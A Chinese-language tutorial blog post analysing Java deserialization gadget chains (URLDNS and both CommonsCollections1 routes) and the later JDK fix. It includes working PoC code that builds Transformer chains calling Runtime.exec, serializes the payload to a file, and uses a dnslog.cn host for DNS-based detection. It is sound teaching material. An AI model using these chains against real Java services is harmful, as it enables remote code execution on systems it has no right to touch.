Java安全漫谈(2)——初探反序列化利用链

这部分我写了很多遍,总是写了又删,删了又写,因为感觉达不到「漫谈」的目的,写成了流水账笔记。

关于利用链的学习,我赞同su18师傅说的,这种调试分析的文章写出来于己于人都意义不大,既不能给自己带来提高,也达不到分享知识的目的,所以希望大家在学习的时候更多地去想这些Gadget是怎么被发现的,利用代码用到了哪些思路和设计模式,而不是做一个无情的调试机器。

0x1 从命令执行谈起

正常的命令执行很简单,只需要调用Runtime.getRuntime().exec()即可。

利用反射的方式则复杂一点:

public class Reflection {
    public static void main(String[] args){
        String cmd = "calc.exe";
        try {
            Class clazz = Class.forName("java.lang.Runtime");
            Constructor constructor = clazz.getDeclaredConstructor();
            constructor.setAccessible(true);
            Object runtime = constructor.newInstance();
            Method method = clazz.getMethod("exec", String.class);
            method.invoke(runtime, cmd);
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

0x2 URLDNS

在开始分析最著名的Commons Collections类利用链之前,让我们先用一个较为简单的URLDNS利用链热热身。

 *   URLDNS Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

URLDNS只依赖原生类,也没有版本限制,常被用来触发DNS请求以验证反序列化漏洞是否存在,先看看利用链的末尾java.net.URL.hashCode():

public synchronized int hashCode() {
	if (hashCode != -1)
	    return hashCode;
	hashCode = handler.hashCode(this);
	return hashCode;
}

hashCode等于-1时会调用URLStreamHandler.hashCode(),接收的参数是URL对象,可以看到调用了getHostAddress()对地址做解析,触发DNS请求:

接下来就主要跟java.util.HashMap类有关了,其hash()如下:

static final int hash(Object key) {
	int h;
	return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

了解过PHP反序列化POP链相关知识的就会明白,这种同名方法就是利用链里串连每个环节的线,那么这里传入的key就需要是java.net.URL对象。

接下来的点略微难找,在java.util.HashMap.readObject()

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
	/*
	*  省略前面的初始化过程
	*/
	
	// Read the keys and values, and put the mappings in the HashMap
	for (int i = 0; i < mappings; i++) {
		@SuppressWarnings("unchecked")
					                    K key = (K) s.readObject();
		@SuppressWarnings("unchecked")
					                    V value = (V) s.readObject();
		putVal(hash(key), key, value, false, false);
	}
}

最后一句调用HashMap.putVal()时,传入第一个参数时就调用了静态方法hash(),链条到这里就拼接完成了。

写个PoC:

public class URLDNS {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        String url = "http://hwqxjs.dnslog.cn";
        URLStreamHandler handler = new SilentURLStreamHandler();
        URL u = new URL(null, url, handler);
        HashMap hashMap = new HashMap();
        hashMap.put(u, url);
        Field field = u.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u, -1);
    }
    static class SilentURLStreamHandler extends URLStreamHandler {
        @Override
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }
        protected InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

还有几个点需要说明:

  1. java.net.URL.hashCode的值要等于-1才能触发后面的动作,但调用HashMap.put()时会进行一次hash计算,最终的值无法满足触发请求的条件,所以这里用反射将其重置为-1
  2. HashMap.put()实际上也是调用HashMap.putVal()
  3. SilentURLStreamHandler类重写了getHostAddress(),使其返回值为空,这是为了防止在payload生成阶段的HashMap.put()就请求DNS,造成误报

0x3 CommonsCollections1的两种写法

CommonsCollections1并不是一个适合初学者分析的链,其中牵涉到了许多Java本身的知识,但如果你能搞清楚这条链,其余的利用链将不再是难题。

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。

CommonsCollections1依赖于CommonsCollections 3.1 - 3.2.1,要求JDK版本低于8u71,最后会提到高版本是如何修复的。

前置知识

先来看org.apache.commons.collections.Transformer,它是一个接口,只提供了一个transform(),接收对象作为参数,处理完后返回对象。

CommonsCollections 3.1中,有十几个该接口的实现,重点关注以下三个:

  • InvokerTransformer
  • ConstantTransformer
  • ChainedTransformer
    InvokerTransformer.transform()的核心代码如下:
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

作用是利用反射的方式来获取传入对象的某个方法并调用,返回处理结果。调用的相关参数信息包括iMethodNameiParamTypesiArgs是从InvokerTransformer类的构造方法处传入的。

ConstantTransformer.transform()则非常简单,直接返回其构造方法处传入的对象。

ChainedTransformer.transform()比较有意思:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

iTransformers是构造方法中传入的一个Transformer数组,这里会分别调用Transformer数组中每个元素的transform(),并且上一个元素transform()的输出会成为下一个元素transform()的输入。

TransformedMap路线

把这几个类串联起来,如图:

HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map map = TransformedMap.decorate(hashMap, chain, null);
map.put(1, "test");

对上面的PoC做几点解释:

  1. 使用TransformedMap.decorate()来传入相关内容的原因是TransformedMap的构造方法属性为protected,外部无法直接访问
  2. map.put()实际调用的是TransformedMap.put(),它能触发ChainedTransformer.transform(),以达到链式调用的目的,具体跟源码分析就明白了
  3. 三个InvokerTransformer稍微难理解一些,以第一个为例,传入的methodNamegetMethod,那么经过InvokerTransformer.transform()时即表示调用Runtime.class.getMethod(),参数是getRuntime,所以最终的作用是利用反射来获取Method Runtime.getRuntime()并返回,后面的就不再赘述,如果理解有困难说明还需要补Java反射的相关知识

为什么我们要用这么复杂的payload来进行调用?直接用下面的代码不行吗?

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

替换原来的payload,然后加上序列化的部分,你会发现报错:java.io.NotSerializableException,这是因为Runtime类没有实现Serializable接口,不能被序列化,那么无法在客户端生成恶意序列化数据。

那么能否这样,传入Runtime.class,然后直接获取getRuntime()来进行调用:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

答案是不行,在第一个InvokerTransformer处我们传入的objectRuntime.class,在InvokerTransformer.transform()里有一句input.getClass(),下断点看看:

可以看到,这里获取到的Class对象是java.lang.Class,并非java.lang.Runtime,所以想直接获取getRuntime()就会得到"找不到该方法"的错误。这是因为Object.getClass()传入的参数不同会导致返回的结果不同:

  • 传入对象,返回该对象的类
  • 传入类,返回java.lang.Class

现在这条链已经可以执行命令了,但还不完美,因为服务端还必须将接收到的对象转换为Map对象并进行修改才能触发,能否让其执行readObject()就触发呢?

把目光投向JDK内的sun.reflect.annotation.AnnotationInvocationHandler类,其构造方法:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
	Class[] var3 = var1.getInterfaces();
	if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
		this.type = var1;
		this.memberValues = var2;
	} else {
		throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
	}
}

对参数var1会进行判断,要求只有一个父接口,并且是Annotation.class,才会对typememberValues进行初始化。

readObject()里有一处对memberValues的调用:

来分析一下流程,首先获取了this.type这个注解类对应的AnnotationType对象,之后获取其memberTypes属性,得到一个Map对象。

之后循环遍历this.memberValues,获取其key,满足以下两个条件就调用setValue()写入值:

  • 注解类的memberTypes属性中存在与this.memberValueskey相同的属性
  • 取得的值不是ExceptionProxy的实例或memberValues中值的实例

那么构造payload的思路就有了,构造一个AnnotationInvocationHandler实例,初始化时传入一个注解类和一个Map对象,Mapkey中有注解类中存在的属性,并且value不是对应的实例或ExceptionProxy对象:

HashMap hashMap = new HashMap();
hashMap.put("value", 1);
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map map = TransformedMap.decorate(hashMap, null, chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
FileOutputStream fileOutputStream = new FileOutputStream("./cc1.bin");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(invocationHandler);

这个注解类可以是任意一个有属性的注解类,比如RetentionGenerated等,同时需要HashMap.put()的第一个参数和注解类的属性名一致。

调用链:

AnnotationInvocationHandler.readObject()
    TransformedMap.setValue()
        ChainedTransformer.transform()
            ConstantTransformer.transform()
                InvokerTransformer.transform()

LazyMap路线

org.apache.commons.collections.map.LazyMap这个类中,有一个get()可以调用transform()

public Object get(Object key) {
	if (map.containsKey(key) == false) {
		Object value = factory.transform(key);
		map.put(key, value);
		return value;
	}
	return map.get(key);
}

Map中没有这个key时,会调用factory.transform()factory是一个Transformer对象,从LazyMap.decorate()中传入。

回溯之后,发现老朋友AnnotationInvocationHandler.invoke()中会触发get()

问题最终来到了如何触发AnnotationInvocationHandler.invoke(),这与动态代理有关,我们不去细究其原理,只用知道每个动态代理类都需要实现InvocationHandler接口,当通过动态代理来调用一个方法的时候,会被转发到实现了InvocationHandler接口的类的invoke()中来进行调用。

写一个实例:

public class ProxyTest {
    static class Proxytest implements InvocationHandler{
        protected Object target;

        public Proxytest(Object target){
            this.target = target;
        }

        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Exception{
            System.out.println("proxy");
            this.target.getClass().getMethod("put", new Class[]{Object.class, Object.class}).invoke(this.target, new Object[]{"Hello", "Adan0s"});
            return method.invoke(this.target, args);
        }
    }

    public static void main(String[] args) throws Exception{
        Map<String, String> map = new HashMap();
        map.put("Hello", "World");
        InvocationHandler handler = new Proxytest(map);
        Map<String, String> proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        System.out.println(proxyMap.get("Hello"));
    }
}

运行后:

可以看到,Map对象中的值在经过invoke()时被修改了。

AnnotationInvocationHandler类实现了InvocationHandler接口,那么只要将该类作为动态代理类,当被代理的对象调用某个方法,就能触发AnnotationInvocationHandler.invoke()

HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);

这个payload能触发命令执行吗?答案是不行,因为这里我们传入动态代理类构造方法的是LazyMap

InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

运行时无法触发invoke(),因为它并不是被代理的对象,所以得加一层:

HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);

走到AnnotationInvocationHandler.readObject()中执行memberValues.entrySet()时,因为我们传入的是代理对象,所以就会调用动态代理类的invoke(),而这时的动态代理类实例是handler,构造方法中传入LazyMap,那么调用其invoke()就会触发LazyMap.get(),也就会触发后面的命令执行过程。

结合调用链可能会更好理解一些:

AnnotationInvocationHandler.readObject()
	Map(Proxy).entrySet()
		AnnotationInvocationHandler.invoke()
			LazyMap.get()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
						InvokerTransformer.transform()

JDK高版本的修复

在JDK 8u71之后,CommonsCollections1这条链就无法使用了,原因在AnnotationInvocationHandler.readObject()

修复后,将不再直接对反序列化得到的Map对象进行操作,而是将其键值对放入新建的LinkedHashMap对象中,后续操作也都基于该对象。

依然可以走到AnnotationInvocationHandler.invoke(),但因为memberValues变成了LinkedHashMap,所以后续的利用链就失效了。

0x4 总结

不得不说,CommonsCollections1这条链尤其是LazyMap路线确实比较难理解,我也是看了很多遍才彻底搞懂的,希望这篇文章能让你少走点弯路。

参考链接: